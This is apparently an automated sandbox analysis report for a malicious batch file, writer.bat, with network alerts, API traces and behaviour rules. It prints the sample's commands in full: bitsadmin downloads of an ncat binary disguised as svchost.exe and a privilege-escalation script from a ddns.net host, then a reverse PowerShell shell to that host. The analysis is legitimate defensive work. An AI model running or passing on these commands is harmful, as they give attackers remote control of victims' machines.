popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

writer.bat

Downloader FTP Code injection DGA HTTP Socket ScreenShot Create Service KeyLogger Internet API Sniff Audio DNS Escalate priviledges Http API Steal credential P2P AntiVM AntiDebug
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6402 March 24, 2023, 9:40 a.m. March 24, 2023, 9:42 a.m.
Size 932.0B
Type UTF-8 Unicode (with BOM) text, with CRLF line terminators
MD5 1e30daa4770b00c2e624e8a615e80282
SHA256 642261ea81f01257944208fd7581532fad55c3133ca418ceb7b8c17fc7002ad6
CRC32 BB27D7A1
ssdeep 24:24yBR4yBD4yBV4yBf4yBd4yBaB7RRBWD7S:2JRJDJVJfJdJinj
Yara None matched

Name Response Post-Analysis Lookup
g57hitr9atw9jkky5p2.ddns.net
A 66.228.37.7
66.228.37.7
IP Address Status Action
164.124.101.2 Active Moloch
66.228.37.7 Active Moloch

Suricata Alerts

Flow SID Signature Category
UDP 192.168.56.102:63709 -> 164.124.101.2:53 2028675 ET POLICY DNS Query to DynDNS Domain *.ddns .net Potentially Bad Traffic
TCP 192.168.56.102:49178 -> 66.228.37.7:80 2042806 ET INFO DYNAMIC_DNS HTTP Request to a *.ddns .net Domain Potentially Bad Traffic
TCP 192.168.56.102:49175 -> 66.228.37.7:80 2042806 ET INFO DYNAMIC_DNS HTTP Request to a *.ddns .net Domain Potentially Bad Traffic
TCP 192.168.56.102:49170 -> 66.228.37.7:80 2032162 ET INFO PS1 Powershell File Request Potentially Bad Traffic
TCP 192.168.56.102:49170 -> 66.228.37.7:80 2042806 ET INFO DYNAMIC_DNS HTTP Request to a *.ddns .net Domain Potentially Bad Traffic
TCP 192.168.56.102:49165 -> 66.228.37.7:80 2042806 ET INFO DYNAMIC_DNS HTTP Request to a *.ddns .net Domain Potentially Bad Traffic
TCP 192.168.56.102:49171 -> 66.228.37.7:80 2032162 ET INFO PS1 Powershell File Request Potentially Bad Traffic
TCP 192.168.56.102:49171 -> 66.228.37.7:80 2042806 ET INFO DYNAMIC_DNS HTTP Request to a *.ddns .net Domain Potentially Bad Traffic
TCP 192.168.56.102:49179 -> 66.228.37.7:80 2042806 ET INFO DYNAMIC_DNS HTTP Request to a *.ddns .net Domain Potentially Bad Traffic
TCP 66.228.37.7:80 -> 192.168.56.102:49171 2032172 ET HUNTING Generic Powershell Launching Hidden Window Potentially Bad Traffic
TCP 192.168.56.102:49166 -> 66.228.37.7:80 2016696 ET HUNTING Suspicious svchost.exe in URI - Possible Process Dump/Trojan Download Potentially Bad Traffic
TCP 192.168.56.102:49166 -> 66.228.37.7:80 2042806 ET INFO DYNAMIC_DNS HTTP Request to a *.ddns .net Domain Potentially Bad Traffic
TCP 66.228.37.7:80 -> 192.168.56.102:49175 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 66.228.37.7:80 -> 192.168.56.102:49166 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 66.228.37.7:80 -> 192.168.56.102:49179 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 192.168.56.102:49174 -> 66.228.37.7:80 2042806 ET INFO DYNAMIC_DNS HTTP Request to a *.ddns .net Domain Potentially Bad Traffic
TCP 192.168.56.102:49189 -> 66.228.37.7:80 2042806 ET INFO DYNAMIC_DNS HTTP Request to a *.ddns .net Domain Potentially Bad Traffic
TCP 192.168.56.102:49190 -> 66.228.37.7:80 2042806 ET INFO DYNAMIC_DNS HTTP Request to a *.ddns .net Domain Potentially Bad Traffic
TCP 66.228.37.7:80 -> 192.168.56.102:49190 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 192.168.56.102:49183 -> 66.228.37.7:80 2042806 ET INFO DYNAMIC_DNS HTTP Request to a *.ddns .net Domain Potentially Bad Traffic
TCP 192.168.56.102:49184 -> 66.228.37.7:80 2042806 ET INFO DYNAMIC_DNS HTTP Request to a *.ddns .net Domain Potentially Bad Traffic
TCP 66.228.37.7:80 -> 192.168.56.102:49184 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: C:\Users\test22\AppData\Local\Temp>
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: cls
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: 'cls' is not recognized as an internal or external command, operable program or batch file.
console_handle: 0x0000000b
1 1 0

WriteConsoleW

 buffer: C:\Users\test22\AppData\Local\Temp>
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: bitsadmin
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: /transfer "mdj" /download /priority FOREGROUND "http://g57hitr9atw9jkky5p2.ddns.net/ncat/svchost.exe" "C:\Users\test22\AppData\Local\Temp\\svchost.exe"
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: C:\Users\test22\AppData\Local\Temp>
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: bitsadmin
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: /transfer "mdj" /download /priority FOREGROUND "http://g57hitr9atw9jkky5p2.ddns.net/ncat/getprivshell.ps1" "C:\Users\test22\AppData\Local\Temp\\getprivshell.ps1"
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: C:\Users\test22\AppData\Local\Temp>
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: bitsadmin
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: /transfer "mdj" /download /priority FOREGROUND "http://g57hitr9atw9jkky5p2.ddns.net/ncat/libssh2.dll" "C:\Users\test22\AppData\Local\Temp\\libssh2.dll"
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: C:\Users\test22\AppData\Local\Temp>
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: bitsadmin
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: /transfer "mdj" /download /priority FOREGROUND "http://g57hitr9atw9jkky5p2.ddns.net/ncat/libssl-3.dll" "C:\Users\test22\AppData\Local\Temp\\libssl-3.dll"
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: C:\Users\test22\AppData\Local\Temp>
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: bitsadmin
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: /transfer "mdj" /download /priority FOREGROUND "http://g57hitr9atw9jkky5p2.ddns.net/ncat/libcrypto-3.dll" "C:\Users\test22\AppData\Local\Temp\\libcrypto-3.dll"
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: C:\Users\test22\AppData\Local\Temp>
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: bitsadmin
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: /transfer "mdj" /download /priority FOREGROUND "http://g57hitr9atw9jkky5p2.ddns.net/ncat/vcruntime140.dll" "C:\Users\test22\AppData\Local\Temp\\vcruntime140.dll"
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: C:\Users\test22\AppData\Local\Temp>
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: cd
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: C:\Users\test22\AppData\Local\Temp
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: C:\Users\test22\AppData\Local\Temp>
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: svchost.exe
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: g57hitr9atw9jkky5p2.ddns.net 1608 -e powershell
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: C:\Users\test22\AppData\Local\Temp>
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: del
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: "C:\Users\test22\AppData\Local\Temp\writer.bat"
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: The batch file cannot be found.
console_handle: 0x0000000b
1 1 0

WriteConsoleW

 buffer: C:\Users\test22\AppData\Local\Temp>
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: BITSADMIN version 3.0 [ 7.5.7601 ]
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: BITS administration utility.
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: (C) Copyright 2000-2006 Microsoft Corp.
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: BITSAdmin is deprecated and is not guaranteed to be available in future versions of Windows.
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: Administrative tools for the BITS service are now provided by BITS PowerShell cmdlets.
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: DISPLAY: '
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: mdj'
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: TYPE:
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: DOWNLOAD
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: STATE:
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: CONNECTING
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: PRIORITY:
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: FOREGROUND
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: FILES:
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: BYTES:
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: 0 / UNKNOWN
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: TRANSFER RATE:
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: 0.00 B/S
console_handle: 0x00000007
1 1 0
domain g57hitr9atw9jkky5p2.ddns.net
request HEAD http://g57hitr9atw9jkky5p2.ddns.net/ncat/svchost.exe
request GET http://g57hitr9atw9jkky5p2.ddns.net/ncat/svchost.exe
request HEAD http://g57hitr9atw9jkky5p2.ddns.net/ncat/getprivshell.ps1
request GET http://g57hitr9atw9jkky5p2.ddns.net/ncat/getprivshell.ps1
request HEAD http://g57hitr9atw9jkky5p2.ddns.net/ncat/libssh2.dll
request GET http://g57hitr9atw9jkky5p2.ddns.net/ncat/libssh2.dll
request HEAD http://g57hitr9atw9jkky5p2.ddns.net/ncat/libssl-3.dll
request GET http://g57hitr9atw9jkky5p2.ddns.net/ncat/libssl-3.dll
request HEAD http://g57hitr9atw9jkky5p2.ddns.net/ncat/libcrypto-3.dll
request GET http://g57hitr9atw9jkky5p2.ddns.net/ncat/libcrypto-3.dll
request HEAD http://g57hitr9atw9jkky5p2.ddns.net/ncat/vcruntime140.dll
request GET http://g57hitr9atw9jkky5p2.ddns.net/ncat/vcruntime140.dll
cmdline bitsadmin /transfer "mdj" /download /priority FOREGROUND "http://g57hitr9atw9jkky5p2.ddns.net/ncat/svchost.exe" "C:\Users\test22\AppData\Local\Temp\\svchost.exe"
cmdline svchost.exe g57hitr9atw9jkky5p2.ddns.net 1608 -e powershell
description Create a windows service rule Create_Service
description Communication using DGA rule Network_DGA
description Communications over RAW Socket rule Network_TCP_Socket
description Take ScreenShot rule ScreenShot
description Communications use DNS rule Network_DNS
description Match Windows Inet API call rule Str_Win32_Internet_API
description Code injection with CreateRemoteThread in a remote process rule Code_injection
description PWS Memory rule Generic_PWS_Memory_Zero
description Record Audio rule Sniff_Audio
description Communications over HTTP rule Network_HTTP
description Steal credential rule local_credential_Steal
description Run a KeyLogger rule KeyLogger
description Communications over P2P network rule Network_P2P_Win
description File Downloader rule Network_Downloader
description Escalate priviledges rule Escalate_priviledges
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerCheck__RemoteAPI
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule DebuggerException__ConsoleCtrl
description (no description) rule DebuggerException__SetConsoleCtrl
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description (no description) rule Check_Dlls
description Checks if being debugged rule anti_dbg
description Anti-Sandbox checks for ThreatExpert rule antisb_threatExpert
description Bypass DEP rule disable_dep
description Affect hook table rule win_hook
description Communications over FTP rule Network_FTP
description Match Windows Http API call rule Str_Win32_Http_API
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 2848
thread_handle: 0x00000084
process_identifier: 2844
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Users\test22\AppData\Local\Temp\svchost.exe
track: 1
command_line: svchost.exe g57hitr9atw9jkky5p2.ddns.net 1608 -e powershell
filepath_r: C:\Users\test22\AppData\Local\Temp\svchost.exe
stack_pivoted: 0
creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 1
process_handle: 0x0000008c
1 1 0
cmdline svchost.exe g57hitr9atw9jkky5p2.ddns.net 1608 -e powershell
cmdline bitsadmin /transfer "mdj" /download /priority FOREGROUND "http://g57hitr9atw9jkky5p2.ddns.net/ncat/libssl-3.dll" "C:\Users\test22\AppData\Local\Temp\\libssl-3.dll"
cmdline bitsadmin /transfer "mdj" /download /priority FOREGROUND "http://g57hitr9atw9jkky5p2.ddns.net/ncat/svchost.exe" "C:\Users\test22\AppData\Local\Temp\\svchost.exe"
cmdline bitsadmin /transfer "mdj" /download /priority FOREGROUND "http://g57hitr9atw9jkky5p2.ddns.net/ncat/libcrypto-3.dll" "C:\Users\test22\AppData\Local\Temp\\libcrypto-3.dll"
cmdline bitsadmin /transfer "mdj" /download /priority FOREGROUND "http://g57hitr9atw9jkky5p2.ddns.net/ncat/libssh2.dll" "C:\Users\test22\AppData\Local\Temp\\libssh2.dll"
cmdline bitsadmin /transfer "mdj" /download /priority FOREGROUND "http://g57hitr9atw9jkky5p2.ddns.net/ncat/vcruntime140.dll" "C:\Users\test22\AppData\Local\Temp\\vcruntime140.dll"
cmdline bitsadmin /transfer "mdj" /download /priority FOREGROUND "http://g57hitr9atw9jkky5p2.ddns.net/ncat/getprivshell.ps1" "C:\Users\test22\AppData\Local\Temp\\getprivshell.ps1"
dead_host 66.228.37.7:1608
dead_host 192.168.56.102:49193